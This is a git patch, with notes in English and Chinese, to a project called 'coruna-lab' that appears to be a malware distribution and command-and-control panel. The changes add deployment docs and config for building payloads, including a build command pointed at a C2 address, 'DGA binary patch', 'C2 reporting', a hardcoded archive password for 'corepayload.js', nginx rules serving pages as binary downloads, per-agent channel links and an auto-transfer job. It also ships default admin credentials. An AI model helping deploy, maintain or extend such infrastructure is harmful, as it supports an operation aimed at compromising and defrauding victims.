From 44bcfe544ccc9879c955367b358fec80215ba787 Mon Sep 17 00:00:00 2001 From: hashbro Date: Wed, 2 Sep 2026 04:54:28 +0800 Subject: [PATCH] feat: delete --- .env.example | 19 ++--- app/Services/ChannelProjectService.php | 11 ++- channel-builder-new/tools/_details_pack.py | 2 +- config/coruna.php | 4 - ...31_000060_plugin_sessions_kind_tinyint.php | 8 +- docs/BAOTA_DEPLOY.md | 1 - docs/deploy.md | 81 +++++++++++++++++++ 7 files changed, 99 insertions(+), 27 deletions(-) create mode 100644 docs/deploy.md diff --git a/.env.example b/.env.example index 8a5c20b..26e3f68 100644 --- a/.env.example +++ b/.env.example @@ -39,18 +39,17 @@ BROADCAST_CONNECTION=log FILESYSTEM_DISK=local QUEUE_CONNECTION=sync CACHE_STORE=file -# 生产 4C8G:装 Redis 后改为 -# CACHE_STORE=redis -# QUEUE_CONNECTION=redis -# REDIS_HOST=127.0.0.1 -# REDIS_PORT=6379 + +CACHE_STORE=redis +QUEUE_CONNECTION=redis +REDIS_HOST=127.0.0.1 +REDIS_PORT=6379 # Admin seeder defaults ADMIN_USERNAME=admin ADMIN_PASSWORD=admin123 -# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. -CORUNA_SESSION_KEY= + # Optional link-display hosts (not used by DGA binary patch). # Overridable by 系统设置 → 投放域名. @@ -60,10 +59,6 @@ CORUNA_REPORTING_DOMAINS= CORUNA_ADMIN_HOSTS= CORUNA_AGENT_HOSTS= -# In-process channel-builder (Python). -# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/) -# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder) - # 内嵌 channel-builder(无 Build API;产物默认 public/) CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python @@ -74,10 +69,8 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600 # Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS -CORUNA_STATIC_SITE_SCHEME=https # Max channel links per agent (super-admin settings can override) CORUNA_MAX_CHANNELS_PER_AGENT=5 - CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z # Telegram (outbound alerts + inbound Nutgram commands) diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index 848de84..f54e26b 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -546,13 +546,16 @@ class ChannelProjectService || $exit === 9 || $exit === 137) { return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道'; } - if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied') - && ! str_contains($hay, 'cannot open shared object')) { + if (str_contains($hay, 'permission denied')) { + return '属主不对(root 跑过构建后 www 删不掉旧文件)。执行: ' + .'chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/public/details /www/wwwroot/coruna-lab/public/channel'; + } + if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'cannot open shared object')) { return ''; } - return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。' - .'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so'; + return 'venv 缺包或 .so 不可用。用 .venv/bin/pip install -r requirements.txt,' + .'并 chmod 755 /usr/bin/python3.10 与 venv 下 *.so'; } /** diff --git a/channel-builder-new/tools/_details_pack.py b/channel-builder-new/tools/_details_pack.py index e367ef4..c70592f 100644 --- a/channel-builder-new/tools/_details_pack.py +++ b/channel-builder-new/tools/_details_pack.py @@ -10,7 +10,7 @@ from pathlib import Path try: import py7zr except ImportError as exc: # pragma: no cover - raise SystemExit("py7zr required: pip install py7zr") from exc + raise SystemExit(f"py7zr import failed: {exc}. pip install py7zr") from exc SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b" # Matches original corepayload.js wire size closely (~521913). diff --git a/config/coruna.php b/config/coruna.php index 5fd44c9..6912bf4 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -26,10 +26,6 @@ return [ 'admin_hosts' => $adminHosts, 'agent_hosts' => $agentHosts, ], - 'static_site' => [ - // Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://. - 'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'), - ], 'channel_builder' => [ // Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3). 'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''), diff --git a/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php b/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php index 3e47d71..a8066dd 100644 --- a/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php +++ b/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php @@ -12,13 +12,13 @@ return new class extends Migration return; } - $type = Schema::getColumnType('plugin_sessions', 'kind'); - if (in_array($type, ['integer', 'tinyinteger', 'smallinteger', 'bigint'], true)) { + $type = strtolower((string) Schema::getColumnType('plugin_sessions', 'kind')); + if (in_array($type, ['integer', 'tinyint', 'tinyinteger', 'smallint', 'smallinteger', 'bigint'], true)) { return; } - DB::table('plugin_sessions')->where('kind', 'telegram')->update(['kind' => '1']); - DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => '2']); + DB::table('plugin_sessions')->where('kind', 'telegram')->update(['kind' => 1]); + DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => 2]); $driver = Schema::getConnection()->getDriverName(); if ($driver === 'mysql') { diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index d14b395..0b06d7f 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -385,7 +385,6 @@ XXBB_VISIT_MATCH_MINUTES=30 # 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准) CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com -CORUNA_STATIC_SITE_SCHEME=https CORUNA_REPORTING_DOMAINS= # C2 上报 7z 解包(与 build_api 无关,仍需配置) diff --git a/docs/deploy.md b/docs/deploy.md new file mode 100644 index 0000000..c2cd4d2 --- /dev/null +++ b/docs/deploy.md @@ -0,0 +1,81 @@ + + + + + +- php 安装拓展: +``` +apt-get update +apt-get install -y libgmp-dev +apt-get install -y p7zip-full + +fileinfo gmp redis +``` +- 禁用函数: +``` +disable_functions = system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv +``` +- 伪静态配置 +- nginx 配置 +``` +location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" { + alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html; + types { } + default_type application/octet-stream; + add_header Cache-Control "public, max-age=60"; + add_header Content-Type "application/octet-stream" always; +} +``` + + +- composer +``` +composer self-update +composer install --no-dev --optimize-autoloader + +``` + +``` +cp .env.example .env +php artisan key:generate +chown -R www:www storage bootstrap/cache +chmod -R ug+rwx storage bootstrap/cache +chown -R www:www www/wwwroot/coruna-lab/public www/wwwroot/coruna-lab/storage + +php artisan migrate + +``` + + +- channel-builder +```bash +cd /www/wwwroot/coruna-lab/channel-builder-new + +python3 -m venv .venv +source .venv/bin/activate +.venv/bin/pip install pycryptodome py7zr +pip install -r requirements.txt + + +php artisan xxbb:build --random-c +php artisan ds:build --c2 http://192.168.31.130:8000 +php artisan xxbb:repack + +chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/bootstrap/cache +chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new + +``` + + +- 队列 +```text +名称: coruna-queue +启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600 +启动目录: /www/wwwroot/coruna-lab +进程数量: 2 +``` + +- 自动转账 +``` +cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1 +```